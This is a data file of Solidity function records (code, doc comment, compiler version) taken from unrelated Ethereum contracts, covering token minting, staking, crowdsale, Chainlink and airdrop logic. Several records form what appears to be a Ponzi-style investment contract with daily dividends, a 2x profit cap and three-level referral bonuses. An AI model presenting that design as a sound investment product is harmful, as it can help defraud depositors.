bytes _data\r\n ) public onlyModuleOrOwner(MINT_KEY) isMintingAllowed() returns (bool success) {\r\n require(_investor != address(0), \"Investor is 0\");\r\n require(_updateTransfer(address(0), _investor, _value, _data), \"Transfer invalid\");\r\n _adjustTotalSupplyCheckpoints();\r\n totalSupply_ = totalSupply_.add(_value);\r\n balances[_investor] = balances[_investor].add(_value);\r\n emit Minted(_investor, _value);\r\n emit Transfer(address(0), _investor, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Mints new tokens and assigns them to the target _investor.\r\n * @dev Can only be called by the issuer or STO attached to the token.\r\n * @param _investors A list of addresses to whom the minted tokens will be dilivered\r\n * @param _values A list of number of tokens get minted and transfer to corresponding address of the investor from _investor[] list\r\n * @return success\r\n */", "function_code": "function mintMulti(address[] _investors, uint256[] _values) external returns (bool success) {\r\n require(_investors.length == _values.length, \"Incorrect inputs\");\r\n for (uint256 i = 0; i < _investors.length; i++) {\r\n mint(_investors[i], _values[i]);\r\n }\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Validate permissions with PermissionManager if it exists, If no Permission return false\r\n * @dev Note that IModule withPerm will allow ST owner all permissions anyway\r\n * @dev this allows individual modules to override this logic if needed (to not allow ST owner all permissions)\r\n * @param _delegate address of delegate\r\n * @param _module address of PermissionManager module\r\n * @param _perm the permissions\r\n * @return success\r\n */", "function_code": "function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool) {\r\n for (uint256 i = 0; i < modules[PERMISSION_KEY].length; i++) {\r\n if (!modulesToData[modules[PERMISSION_KEY][i]].isArchived)\r\n return TokenLib.checkPermission(modules[PERMISSION_KEY], _delegate, _module, _perm);\r\n }\r\n return false;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice Used by a controller to execute a forced transfer\r\n * @param _from address from which to take tokens\r\n * @param _to address where to send tokens\r\n * @param _value amount of tokens to transfer\r\n * @param _data data to indicate validation\r\n * @param _log data attached to the transfer by controller to emit in event\r\n */", "function_code": "function forceTransfer(address _from, address _to, uint256 _value, bytes _data, bytes _log) public onlyController {\r\n require(_to != address(0));\r\n require(_value <= balances[_from]);\r\n bool verified = _updateTransfer(_from, _to, _value, _data);\r\n balances[_from] = balances[_from].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n emit ForceTransfer(msg.sender, _from, _to, _value, verified, _log);\r\n emit Transfer(_from, _to, _value);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @notice deploys the token and adds default modules like the GeneralTransferManager.\r\n * Future versions of the proxy can attach different modules or pass different parameters.\r\n */", "function_code": "function deployToken(\r\n string _name,\r\n string _symbol,\r\n uint8 _decimals,\r\n string _tokenDetails,\r\n address _issuer,\r\n bool _divisible,\r\n address _polymathRegistry\r\n ) external returns (address) {\r\n address newSecurityTokenAddress = new SecurityToken(\r\n _name,\r\n _symbol,\r\n _decimals,\r\n _divisible ? 1 : uint256(10)**_decimals,\r\n _tokenDetails,\r\n _polymathRegistry\r\n );\r\n SecurityToken(newSecurityTokenAddress).addModule(transferManagerFactory, \"\", 0, 0);\r\n SecurityToken(newSecurityTokenAddress).transferOwnership(_issuer);\r\n return newSecurityTokenAddress;\r\n }", "version": "0.4.24"} {"comment": "/// @dev See {ILairControls.claimBloodBags}", "function_code": "function claimBloodBags(address sender, uint16 tokenId)\n external\n override\n onlyControllers\n returns (uint256 owed)\n {\n uint8 score = _predatorScoreForVampire(tokenId);\n VampireStake memory stake = scoreStakingMap[score][\n stakeIndices[tokenId]\n ];\n require(sender == stake.owner, \"NOT_OWNER_OR_NOT_STAKED\");\n\n // Calculate and sets amount of bloodbags owed (this is returned by the fn)\n uint256 _bloodbagPerPredatorScore = bloodbagPerPredatorScore;\n owed =\n score *\n (_bloodbagPerPredatorScore -\n stake.bloodbagPerPredatorScoreWhenStaked);\n\n // Resets the vampire staking info\n scoreStakingMap[score][stakeIndices[tokenId]] = VampireStake({\n owner: sender,\n tokenId: tokenId,\n bloodbagPerPredatorScoreWhenStaked: uint80(\n _bloodbagPerPredatorScore\n )\n });\n\n // Logs an event with the blood claiming info\n emit BloodBagClaimed(sender, tokenId, owed);\n\n // <- Controller is supposed to transfer $BLOODBAGs\n }", "version": "0.8.7"} {"comment": "/// ==== Migration", "function_code": "function migrate(\n uint16[] calldata vampires,\n uint8[] calldata predatorIndices\n ) external nonReentrant {\n require(\n vampires.length == predatorIndices.length,\n \"ARRAYS_SHOULD_HAVE_SAME_SIZE\"\n );\n\n uint16 tokenId;\n uint8 predatorIndex;\n for (uint256 i = 0; i < vampires.length; i++) {\n tokenId = vampires[i];\n predatorIndex = predatorIndices[i];\n uint256 idx = legacyLair.stakeIndices(tokenId);\n (address owner, , ) = legacyLair.scoreStakingMap(\n predatorIndex,\n idx\n );\n require(owner == _msgSender(), \"NOT_OWNER\");\n legacyLair.unstakeVampire(_msgSender(), tokenId);\n _stakeVampire(_msgSender(), tokenId);\n vgame.transferFrom(address(legacyLair), address(this), tokenId);\n }\n bloodbag.mint(_msgSender(), vampires.length * 10 ether);\n }", "version": "0.8.7"} {"comment": "//Accrual of referral bonuses to the participant", "function_code": "function setRefererBonus(address addr, uint256 amount, uint256 level_percent, uint256 level_num) private {\r\n\t\tif (addr.notZero()) {\r\n\t\t\tuint256 revenue = amount.mul(level_percent).div(100);\r\n\r\n\t\t\tif (!checkInvestor(addr)) {\r\n\t\t\t\tcreateInvestor(addr, address(0));\r\n\t\t\t}\r\n\r\n\t\t\tinvestors[addr].referals_profit = investors[addr].referals_profit.add(revenue);\r\n\t\t\tinvestors[addr].referals_profit_balance = investors[addr].referals_profit_balance.add(revenue);\r\n\t\t\temit RefererBonus(msg.sender, addr, amount, revenue, level_num);\r\n\t\t}\r\n\t}", "version": "0.4.25"} {"comment": "//Accrual of referral bonuses to participants", "function_code": "function setAllRefererBonus(address addr, uint256 amount) private {\r\n\r\n\t\taddress ref_addr_level_1 = investors[addr].referer;\r\n\t\taddress ref_addr_level_2 = investors[ref_addr_level_1].referer;\r\n\t\taddress ref_addr_level_3 = investors[ref_addr_level_2].referer;\r\n\r\n\t\tsetRefererBonus (ref_addr_level_1, amount, ref_bonus_level_1, 1);\r\n\t\tsetRefererBonus (ref_addr_level_2, amount, ref_bonus_level_2, 2);\r\n\t\tsetRefererBonus (ref_addr_level_3, amount, ref_bonus_level_3, 3);\r\n\t}", "version": "0.4.25"} {"comment": "//Get the number of dividends", "function_code": "function calcDivedents (address addr) public view returns (uint256) {\r\n\t\tuint256 current_perc = 0;\r\n\t\tif (address(this).balance < 2000 ether) {\r\n\t\t\tcurrent_perc = dividends_perc_before_2000eth;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tcurrent_perc = dividends_perc_after_2000eth;\r\n\t\t}\r\n\r\n\t\treturn investors[addr].investment.mul(current_perc).div(1000).mul(now.sub(investors[addr].investment_time)).div(1 days);\r\n\t}", "version": "0.4.25"} {"comment": "//Income payment", "function_code": "function withdraw_revenue(address addr) private {\r\n\t\tuint256 withdraw_amount = calcDivedents(addr);\r\n\t\t\r\n\t\tif (check_x2_profit(addr,withdraw_amount) == true) {\r\n\t\t withdraw_amount = 0; \r\n\t\t}\r\n\t\t\r\n\t\tif (withdraw_amount > 0) {\r\n\t\t investors[addr].investment_profit = investors[addr].investment_profit.add(withdraw_amount); \r\n\t\t}\r\n\t\t\r\n\t\twithdraw_amount = withdraw_amount.add(investors[addr].investment_profit_balance).add(investors[addr].referals_profit_balance).add(investors[addr].cashback_profit_balance);\r\n\t\t\r\n\r\n\t\tif (withdraw_amount > 0) {\r\n\t\t\tclear_balance(addr);\r\n\t\t\tall_payments = all_payments.add(withdraw_amount);\r\n\t\t\temit NewWithdraw(addr, withdraw_amount);\r\n\t\t\temit ChangeBalance(address(this).balance.sub(withdraw_amount));\r\n\t\t\taddr.transfer(withdraw_amount);\r\n\t\t}\r\n\t}", "version": "0.4.25"} {"comment": "//Checking the x2 profit", "function_code": "function check_x2_profit(address addr, uint256 dividends) private returns(bool) {\r\n\t\tif (investors[addr].investment_profit.add(dividends) > investors[addr].investment.mul(2)) {\r\n\t\t investors[addr].investment_profit_balance = investors[addr].investment.mul(2).sub(investors[addr].investment_profit);\r\n\t\t\tinvestors[addr].investment = 0;\r\n\t\t\tinvestors[addr].investment_profit = 0;\r\n\t\t\tinvestors[addr].investment_first_time_in_day = 0;\r\n\t\t\tinvestors[addr].investment_time = 0;\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\telse {\r\n\t\t return false;\r\n\t\t}\r\n\t}", "version": "0.4.25"} {"comment": "//Investor account statistics", "function_code": "function getInvestorInfo(address addr) public view returns (address, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256) {\r\n\t\tInvestor memory investor_info = investors[addr];\r\n\t\treturn (investor_info.referer,\r\n\t\tinvestor_info.investment,\r\n\t\tinvestor_info.investment_time,\r\n\t\tinvestor_info.investment_first_time_in_day,\r\n\t\tinvestor_info.investments_daily,\r\n\t\tinvestor_info.investment_profit,\r\n\t\tinvestor_info.referals_profit,\r\n\t\tinvestor_info.cashback_profit,\r\n\t\tinvestor_info.investment_profit_balance,\r\n\t\tinvestor_info.referals_profit_balance,\r\n\t\tinvestor_info.cashback_profit_balance);\r\n\t}", "version": "0.4.25"} {"comment": "/**\n * @notice Given an amount of EToken, how much TokenA and TokenB have to be deposited, withdrawn for it\n * initial issuance / last redemption: sqrt(amountA * amountB) -> such that the inverse := EToken amount ** 2\n * subsequent issuances / non nullifying redemptions: claim on EToken supply * reserveA/B\n */", "function_code": "function tokenATokenBForEToken(\n IEPool.Tranche memory t,\n uint256 amount,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal view returns (uint256 amountA, uint256 amountB) {\n if (t.reserveA + t.reserveB == 0) {\n uint256 amountsA = amount * sFactorA / t.sFactorE;\n (amountA, amountB) = tokenATokenBForTokenA(\n amountsA * amountsA / sFactorA , t.targetRatio, rate, sFactorA, sFactorB\n );\n } else {\n uint256 eTokenTotalSupply = t.eToken.totalSupply();\n if (eTokenTotalSupply == 0) return(0, 0);\n uint256 share = amount * t.sFactorE / eTokenTotalSupply;\n amountA = share * t.reserveA / t.sFactorE;\n amountB = share * t.reserveB / t.sFactorE;\n }\n }", "version": "0.8.1"} {"comment": "/**\n * @dev See {IStaking-setStakingOptions}\n *\n * Requirements:\n *\n * - `stakeDurations` and `stakePercentageBasisPoints` arrays passed to\n * this function cannot be empty or have a different length.\n */", "function_code": "function setStakingOptions(\n uint256[] memory stakeDurations,\n uint16[] memory stakePercentageBasisPoints\n ) external override onlyOwner {\n require(\n stakeDurations.length == stakePercentageBasisPoints.length && stakeDurations.length > 0,\n \"Staking: stake duration and percentage basis points arrays should be equal in size and non-empty\"\n );\n\n _currentStakeOptionArrayIndex = _currentStakeOptionArrayIndex.add(1);\n for (uint256 i = 0; i < stakeDurations.length; i++) {\n _stakeOptions[_currentStakeOptionArrayIndex].push(\n StakeOption(stakeDurations[i], stakePercentageBasisPoints[i])\n );\n }\n }", "version": "0.7.0"} {"comment": "/**\n * @dev See {IStaking-getStakingOptions}\n */", "function_code": "function getStakingOptions()\n external\n override\n view\n returns (\n uint256[] memory stakeOptionIndexes,\n uint256[] memory stakeDurations,\n uint16[] memory stakePercentageBasisPoints\n )\n {\n stakeOptionIndexes = new uint256[](_stakeOptions[_currentStakeOptionArrayIndex].length);\n stakeDurations = new uint256[](_stakeOptions[_currentStakeOptionArrayIndex].length);\n stakePercentageBasisPoints = new uint16[](_stakeOptions[_currentStakeOptionArrayIndex].length);\n\n for (uint256 i = 0; i < _stakeOptions[_currentStakeOptionArrayIndex].length; i++) {\n stakeOptionIndexes[i] = i;\n stakeDurations[i] = _stakeOptions[_currentStakeOptionArrayIndex][i].stakeDuration;\n stakePercentageBasisPoints[i] = _stakeOptions[_currentStakeOptionArrayIndex][i]\n .stakePercentageBasisPoints;\n }\n\n return (stakeOptionIndexes, stakeDurations, stakePercentageBasisPoints);\n }", "version": "0.7.0"} {"comment": "/**\n * @dev See {IStaking-getPersonalStakeIndexes}\n */", "function_code": "function getPersonalStakeIndexes(\n address user,\n uint256 amountToRetrieve,\n uint256 offset\n ) external override view returns (uint256[] memory) {\n uint256[] memory indexes;\n (indexes, , , , ) = getPersonalStakes(user, amountToRetrieve, offset);\n\n return indexes;\n }", "version": "0.7.0"} {"comment": "/**\n * @dev See {IStaking-getPersonalStakeUnlockedTimestamps}\n */", "function_code": "function getPersonalStakeUnlockedTimestamps(\n address user,\n uint256 amountToRetrieve,\n uint256 offset\n ) external override view returns (uint256[] memory) {\n uint256[] memory timestamps;\n (, timestamps, , , ) = getPersonalStakes(user, amountToRetrieve, offset);\n\n return timestamps;\n }", "version": "0.7.0"} {"comment": "/**\n * @dev See {IStaking-getPersonalStakeActualAmounts}\n */", "function_code": "function getPersonalStakeActualAmounts(\n address user,\n uint256 amountToRetrieve,\n uint256 offset\n ) external override view returns (uint256[] memory) {\n uint256[] memory actualAmounts;\n (, , actualAmounts, , ) = getPersonalStakes(user, amountToRetrieve, offset);\n\n return actualAmounts;\n }", "version": "0.7.0"} {"comment": "/**\n * @dev See {IStaking-getPersonalStakeForAddresses}\n */", "function_code": "function getPersonalStakeForAddresses(\n address user,\n uint256 amountToRetrieve,\n uint256 offset\n ) external override view returns (address[] memory) {\n address[] memory stakedFor;\n (, , , stakedFor, ) = getPersonalStakes(user, amountToRetrieve, offset);\n\n return stakedFor;\n }", "version": "0.7.0"} {"comment": "/**\n * @dev See {IStaking-getPersonalStakePercentageBasisPoints}\n */", "function_code": "function getPersonalStakePercentageBasisPoints(\n address user,\n uint256 amountToRetrieve,\n uint256 offset\n ) external override view returns (uint256[] memory) {\n uint256[] memory stakePercentageBasisPoints;\n (, , , , stakePercentageBasisPoints) = getPersonalStakes(user, amountToRetrieve, offset);\n\n return stakePercentageBasisPoints;\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Helper function to get specific properties of all of the personal stakes created by the `user`\n * @param user address The address to query\n * @return (uint256[], uint256[], address[], uint256[] memory)\n * timestamps array, actualAmounts array, stakedFor array, stakePercentageBasisPoints array\n */", "function_code": "function getPersonalStakes(\n address user,\n uint256 amountToRetrieve,\n uint256 offset\n )\n public\n view\n returns (\n uint256[] memory,\n uint256[] memory,\n uint256[] memory,\n address[] memory,\n uint256[] memory\n )\n {\n StakeContract storage stakeContract = _stakeHolders[user];\n\n uint256 offsetStakeAmount = stakeContract.personalStakesLastIndex.sub(offset);\n if (amountToRetrieve > offsetStakeAmount) {\n amountToRetrieve = offsetStakeAmount;\n }\n uint256[] memory stakeIndexes = new uint256[](amountToRetrieve);\n uint256[] memory unlockedTimestamps = new uint256[](amountToRetrieve);\n uint256[] memory actualAmounts = new uint256[](amountToRetrieve);\n address[] memory stakedFor = new address[](amountToRetrieve);\n uint256[] memory stakePercentageBasisPoints = new uint256[](amountToRetrieve);\n\n uint256 retrieved;\n for (uint256 i = stakeContract.personalStakesLastIndex.sub(1).sub(offset); i >= 0; i--) {\n stakeIndexes[retrieved] = i;\n unlockedTimestamps[retrieved] = stakeContract.personalStakes[i].unlockedTimestamp;\n actualAmounts[retrieved] = stakeContract.personalStakes[i].actualAmount;\n stakedFor[retrieved] = stakeContract.personalStakes[i].stakedFor;\n stakePercentageBasisPoints[retrieved] = stakeContract.personalStakes[i]\n .stakePercentageBasisPoints;\n\n if (++retrieved >= amountToRetrieve) {\n break;\n }\n }\n\n return (stakeIndexes, unlockedTimestamps, actualAmounts, stakedFor, stakePercentageBasisPoints);\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Helper function to create stakes for a given address\n * @param user address The address the stake is being created for\n * @param amount uint256 The number of tokens being staked\n * @param lockInDuration uint256 The duration to lock the tokens for\n * @param data bytes optional data to include in the Stake event\n * @param stakePercentageBasisPoints uint16 stake reward percentage (basis points)\n *\n * Requirements:\n *\n * - `_stakingToken` allowance should be granted to {Staking} contract\n * address in order for the stake creation to be successful.\n */", "function_code": "function createStake(\n address user,\n uint256 amount,\n uint256 lockInDuration,\n uint16 stakePercentageBasisPoints,\n bytes calldata data\n ) internal {\n require(\n _stakingToken.transferFrom(_msgSender(), address(this), amount),\n \"Staking: stake required\"\n );\n\n if (!_stakeHolders[user].exists) {\n _stakeHolders[user].exists = true;\n }\n\n uint256 unlockedTimestamp = block.timestamp.add(lockInDuration);\n _stakeHolders[user].totalStakedFor = _stakeHolders[user].totalStakedFor.add(amount);\n _stakeHolders[user].personalStakes[_stakeHolders[user].personalStakesLastIndex] = Stake({\n unlockedTimestamp: unlockedTimestamp,\n actualAmount: amount,\n stakedFor: user,\n stakePercentageBasisPoints: stakePercentageBasisPoints\n });\n\n emit LogStaked(\n user,\n amount,\n _stakeHolders[user].personalStakesLastIndex,\n unlockedTimestamp,\n stakePercentageBasisPoints,\n totalStakedFor(user),\n data\n );\n _stakeHolders[user].personalStakesLastIndex = _stakeHolders[user].personalStakesLastIndex.add(\n 1\n );\n }", "version": "0.7.0"} {"comment": "/**\n * @dev Helper function to withdraw stakes for the msg.sender\n * @param personalStakeIndex uint256 index of the stake to withdraw in the personalStakes mapping\n * @param data bytes optional data to include in the Unstake event\n *\n * Requirements:\n *\n * - valid personal stake index is passed.\n * - stake should not be already withdrawn.\n * - `_stakingToken` should transfer the stake amount successfully.\n * - `_stakingToken` should {mint} the stake reward successfully\n * if function is called after the stake's `unlockTimestamp`.\n */", "function_code": "function withdrawStake(uint256 personalStakeIndex, bytes calldata data) internal {\n require(\n personalStakeIndex <= _stakeHolders[_msgSender()].personalStakesLastIndex.sub(1),\n \"Staking: passed the wrong personal stake index\"\n );\n\n Stake storage personalStake = _stakeHolders[_msgSender()].personalStakes[personalStakeIndex];\n\n require(personalStake.actualAmount > 0, \"Staking: already withdrawn this stake\");\n\n require(\n _stakingToken.transfer(_msgSender(), personalStake.actualAmount),\n \"Staking: unable to withdraw the stake\"\n );\n\n uint256 stakeReward = 0;\n if (personalStake.unlockedTimestamp <= block.timestamp) {\n stakeReward = personalStake.actualAmount.mul(personalStake.stakePercentageBasisPoints).div(\n uint256(10000)\n );\n require(\n _stakingToken.mint(_msgSender(), stakeReward),\n \"Staking: unable to mint the stake reward\"\n );\n }\n\n _stakeHolders[personalStake.stakedFor].totalStakedFor = _stakeHolders[personalStake.stakedFor]\n .totalStakedFor\n .sub(personalStake.actualAmount);\n\n emit LogUnstaked(\n personalStake.stakedFor,\n personalStake.actualAmount,\n personalStakeIndex,\n stakeReward,\n totalStakedFor(personalStake.stakedFor),\n data\n );\n\n personalStake.actualAmount = 0;\n }", "version": "0.7.0"} {"comment": "/**\n * @notice Given amountB, which amountA is required such that amountB / amountA is equal to the ratio\n * amountA := amountBInTokenA * ratio\n */", "function_code": "function tokenAForTokenB(\n uint256 amountB,\n uint256 ratio,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal pure returns(uint256) {\n return (((amountB * sFactorI / sFactorB) * ratio) / rate) * sFactorA / sFactorI;\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Given an amount of TokenA, how can it be split up proportionally into amountA and amountB\n * according to the ratio\n * amountA := total - (total / (1 + ratio)) == (total * ratio) / (1 + ratio)\n * amountB := (total / (1 + ratio)) * rate\n */", "function_code": "function tokenATokenBForTokenA(\n uint256 _totalA,\n uint256 ratio,\n uint256 rate,\n uint256 sFactorA,\n uint256 sFactorB\n ) internal pure returns (uint256 amountA, uint256 amountB) {\n amountA = _totalA - (_totalA * sFactorI / (sFactorI + ratio));\n amountB = (((_totalA * sFactorI / sFactorA) * rate) / (sFactorI + ratio)) * sFactorB / sFactorI;\n }", "version": "0.8.1"} {"comment": "/**\r\n * @notice Create a crowdsale contract, a token and initialize them\r\n * @param _ownerTokens Amount of tokens that will be mint to owner during the sale\r\n */", "function_code": "function UP1KCrowdsale(uint256 _startTimestamp, uint256 _endTimestamp, uint256 _rate, uint256 _hardCap, \r\n uint256 _ownerTokens, uint32 _buyFeeMilliPercent, uint32 _sellFeeMilliPercent, uint256 _minBuyAmount, uint256 _minSellAmount) public {\r\n require(_startTimestamp < _endTimestamp);\r\n require(_rate > 0);\r\n\r\n startTimestamp = _startTimestamp;\r\n endTimestamp = _endTimestamp;\r\n rate = _rate;\r\n hardCap = _hardCap;\r\n\r\n token = new UP1KToken();\r\n token.init(msg.sender, _buyFeeMilliPercent, _sellFeeMilliPercent, _minBuyAmount, _minSellAmount);\r\n token.mint(msg.sender, _ownerTokens);\r\n }", "version": "0.4.18"} {"comment": "/*\r\n Airdrop function which take up a array of address and amount and call the\r\n transfer function to send the token\r\n */", "function_code": "function doAirDrop(address[] _address, uint256 _amount) onlyOwner public returns (bool) {\r\n uint256 count = _address.length;\r\n for (uint256 i = 0; i < count; i++)\r\n {\r\n /* calling transfer function from contract */\r\n tokenInstance.transfer(_address [i],_amount);\r\n }\r\n }", "version": "0.4.19"} {"comment": "/**\r\n * @dev Initializes a buffer with an initial capacity.\r\n * @param buf The buffer to initialize.\r\n * @param capacity The number of bytes of space to allocate the buffer.\r\n * @return The buffer, for chaining.\r\n */", "function_code": "function init(buffer memory buf, uint capacity) internal pure returns(buffer memory) {\r\n if (capacity % 32 != 0) {\r\n capacity += 32 - (capacity % 32);\r\n }\r\n // Allocate space for the buffer data\r\n buf.capacity = capacity;\r\n assembly {\r\n let ptr := mload(0x40)\r\n mstore(buf, ptr)\r\n mstore(ptr, 0)\r\n mstore(0x40, add(32, add(ptr, capacity)))\r\n }\r\n return buf;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Writes a byte to the buffer. Resizes if doing so would exceed the\r\n * capacity of the buffer.\r\n * @param buf The buffer to append to.\r\n * @param off The offset to write the byte at.\r\n * @param data The data to append.\r\n * @return The original buffer, for chaining.\r\n */", "function_code": "function writeUint8(buffer memory buf, uint off, uint8 data) internal pure returns(buffer memory) {\r\n if (off >= buf.capacity) {\r\n resize(buf, buf.capacity * 2);\r\n }\r\n\r\n assembly {\r\n // Memory address of the buffer data\r\n let bufptr := mload(buf)\r\n // Length of existing buffer data\r\n let buflen := mload(bufptr)\r\n // Address = buffer address + sizeof(buffer length) + off\r\n let dest := add(add(bufptr, off), 32)\r\n mstore8(dest, data)\r\n // Update buffer length if we extended it\r\n if eq(off, buflen) {\r\n mstore(bufptr, add(buflen, 1))\r\n }\r\n }\r\n return buf;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @dev Writes an integer to the buffer. Resizes if doing so would exceed\r\n * the capacity of the buffer.\r\n * @param buf The buffer to append to.\r\n * @param off The offset to write at.\r\n * @param data The data to append.\r\n * @param len The number of bytes to write (right-aligned).\r\n * @return The original buffer, for chaining.\r\n */", "function_code": "function writeInt(buffer memory buf, uint off, uint data, uint len) private pure returns(buffer memory) {\r\n if (len + off > buf.capacity) {\r\n resize(buf, (len + off) * 2);\r\n }\r\n\r\n uint mask = 256 ** len - 1;\r\n assembly {\r\n // Memory address of the buffer data\r\n let bufptr := mload(buf)\r\n // Address = buffer address + off + sizeof(buffer length) + len\r\n let dest := add(add(bufptr, off), len)\r\n mstore(dest, or(and(mload(dest), not(mask)), data))\r\n // Update buffer length if we extended it\r\n if gt(add(off, len), mload(bufptr)) {\r\n mstore(bufptr, add(off, len))\r\n }\r\n }\r\n return buf;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice Initializes a Chainlink request\r\n * @dev Sets the ID, callback address, and callback function signature on the request\r\n * @param self The uninitialized request\r\n * @param _id The Job Specification ID\r\n * @param _callbackAddress The callback address\r\n * @param _callbackFunction The callback function signature\r\n * @return The initialized request\r\n */", "function_code": "function initialize(\r\n Request memory self,\r\n bytes32 _id,\r\n address _callbackAddress,\r\n bytes4 _callbackFunction\r\n ) internal pure returns (Chainlink.Request memory) {\r\n Buffer_Chainlink.init(self.buf, defaultBufferSize);\r\n self.id = _id;\r\n self.callbackAddress = _callbackAddress;\r\n self.callbackFunctionId = _callbackFunction;\r\n return self;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice Creates a Chainlink request to the specified oracle address\r\n * @dev Generates and stores a request ID, increments the local nonce, and uses `transferAndCall` to\r\n * send LINK which creates a request on the target oracle contract.\r\n * Emits ChainlinkRequested event.\r\n * @param _oracle The address of the oracle for the request\r\n * @param _req The initialized Chainlink Request\r\n * @param _payment The amount of LINK to send for the request\r\n * @return requestId The request ID\r\n */", "function_code": "function sendChainlinkRequestTo(address _oracle, Chainlink.Request memory _req, uint256 _payment)\r\n internal\r\n returns (bytes32 requestId)\r\n {\r\n requestId = keccak256(abi.encodePacked(this, requestCount));\r\n _req.nonce = requestCount;\r\n pendingRequests[requestId] = _oracle;\r\n emit ChainlinkRequested(requestId);\r\n require(link.transferAndCall(_oracle, _payment, encodeRequest(_req)), \"unable to transferAndCall to oracle\");\r\n requestCount += 1;\r\n\r\n return requestId;\r\n }", "version": "0.6.6"} {"comment": "/**\r\n * @notice Encodes the request to be sent to the oracle contract\r\n * @dev The Chainlink node expects values to be in order for the request to be picked up. Order of types\r\n * will be validated in the oracle contract.\r\n * @param _req The initialized Chainlink Request\r\n * @return The bytes payload for the `transferAndCall` method\r\n */", "function_code": "function encodeRequest(Chainlink.Request memory _req)\r\n private\r\n view\r\n returns (bytes memory)\r\n {\r\n return abi.encodeWithSelector(\r\n oracle.oracleRequest.selector,\r\n SENDER_OVERRIDE, // Sender value - overridden by onTokenTransfer by the requesting contract's address\r\n AMOUNT_OVERRIDE, // Amount value - overridden by onTokenTransfer by the actual amount of LINK sent\r\n _req.id,\r\n _req.callbackAddress,\r\n _req.callbackFunctionId,\r\n _req.nonce,\r\n ARGS_VERSION,\r\n _req.buf.buf);\r\n }", "version": "0.6.6"} {"comment": "/**\r\n \t\t* @dev This function can be executed by any user out there to calculate the amount of UNP they can claim.\r\n \t\t* The function creates a Chainlink Request to get a single user's total claimable tokens (tokens_to_claim) using the BASE_URL + the user's address\r\n \t\t*\r\n \t\t* Example URL: https://BASE_URL/ADDRESS\r\n \t\t*\r\n \t\t* and saves the request ID mapped to the users address to get users address back in the callback function setTokensToClaim()\r\n \t*/", "function_code": "function getTokensToClaimByAddress() public payable {\r\n\t\trequire(msg.value >= gasCosts, \"You have to send more eth to cover gas costs\");\r\n\t\tChainlink.Request memory req = buildChainlinkRequest(stringToBytes32(jobId), address(this), this.setTokensToClaim.selector);\r\n\t\treq.add(\"get\", BASE_URL);\r\n\t\treq.add(\"extPath\", addressToString(msg.sender));\r\n\t\treq.add(\"path\", \"tokens_to_claim\");\r\n\r\n\t\tbytes32 requestId = sendChainlinkRequestTo(oracle, req, 0);\r\n\t\trequestIdByAddress[requestId] = msg.sender;\r\n\r\n\t\tnodeAddress.transfer(msg.value);\r\n\t}", "version": "0.6.6"} {"comment": "/**\r\n \t\t* @dev Convertes a String to Bytes32\r\n \t\t* @param source source string to be converted\r\n \t*/", "function_code": "function stringToBytes32(string memory source) private pure returns (bytes32 result) {\r\n\t\tbytes memory tempEmptyStringTest = bytes(source);\r\n\t\tif (tempEmptyStringTest.length == 0) {\r\n\t\t\treturn 0x0;\r\n\t\t}\r\n\r\n\t\tassembly {// solhint-disable-line no-inline-assembly\r\n\t\t\tresult := mload(add(source, 32))\r\n\t\t}\r\n\t}", "version": "0.6.6"} {"comment": "/**\r\n \t\t* @dev Convertes an address to string\r\n \t\t* @param x address you want to converte\r\n \t*/", "function_code": "function addressToString(address x) internal pure returns (string memory) {\r\n\t\tbytes memory s = new bytes(40);\r\n\t\tfor (uint i = 0; i < 20; i++) {\r\n\t\t\tbyte b = byte(uint8(uint(x) / (2 ** (8 * (19 - i)))));\r\n\t\t\tbyte hi = byte(uint8(b) / 16);\r\n\t\t\tbyte lo = byte(uint8(b) - 16 * uint8(hi));\r\n\t\t\ts[2 * i] = char(hi);\r\n\t\t\ts[2 * i + 1] = char(lo);\r\n\t\t}\r\n\t\treturn string(s);\r\n\t}", "version": "0.6.6"} {"comment": "// =============\n// ==================\n// Crowdsale Stage Management\n// =========================================================\n// Change Crowdsale Stage. Available Options: PrivateSale, ICOFirstStage, ICOSecondStage, ICOThirdStage", "function_code": "function setCrowdsaleStage(uint value) public onlyOwner {\r\n CrowdsaleStage _stage;\r\n if (uint(CrowdsaleStage.PrivateSale) == value) {\r\n _stage = CrowdsaleStage.PrivateSale;\r\n } else if (uint(CrowdsaleStage.ICOFirstStage) == value) {\r\n _stage = CrowdsaleStage.ICOFirstStage;\r\n } else if (uint(CrowdsaleStage.ICOSecondStage) == value) {\r\n _stage = CrowdsaleStage.ICOSecondStage;\r\n } else if (uint(CrowdsaleStage.ICOThirdStage) == value) {\r\n _stage = CrowdsaleStage.ICOThirdStage;\r\n }\r\n stage = _stage;\r\n if (stage == CrowdsaleStage.PrivateSale) {\r\n setCurrentBonusPercent(30);\r\n } else if (stage == CrowdsaleStage.ICOFirstStage) {\r\n setCurrentBonusPercent(15);\r\n } else if (stage == CrowdsaleStage.ICOSecondStage) {\r\n setCurrentBonusPercent(5);\r\n } else if (stage == CrowdsaleStage.ICOThirdStage) {\r\n setCurrentBonusPercent(0);\r\n }\r\n }", "version": "0.4.25"} {"comment": "// ===========================\n// Final distribution and crowdsale finalization\n// ====================================================================", "function_code": "function finish(address _teamFund, address _reserveFund, address _bountyFund, address _advisoryFund) public onlyOwner {\r\n require(!isFinalized);\r\n uint256 alreadyMinted = token.totalSupply();\r\n uint256 tokensForTeam = alreadyMinted.mul(15).div(100);\r\n uint256 tokensForBounty = alreadyMinted.mul(2).div(100);\r\n uint256 tokensForReserve = alreadyMinted.mul(175).div(1000);\r\n uint256 tokensForAdvisors = alreadyMinted.mul(35).div(1000);\r\n 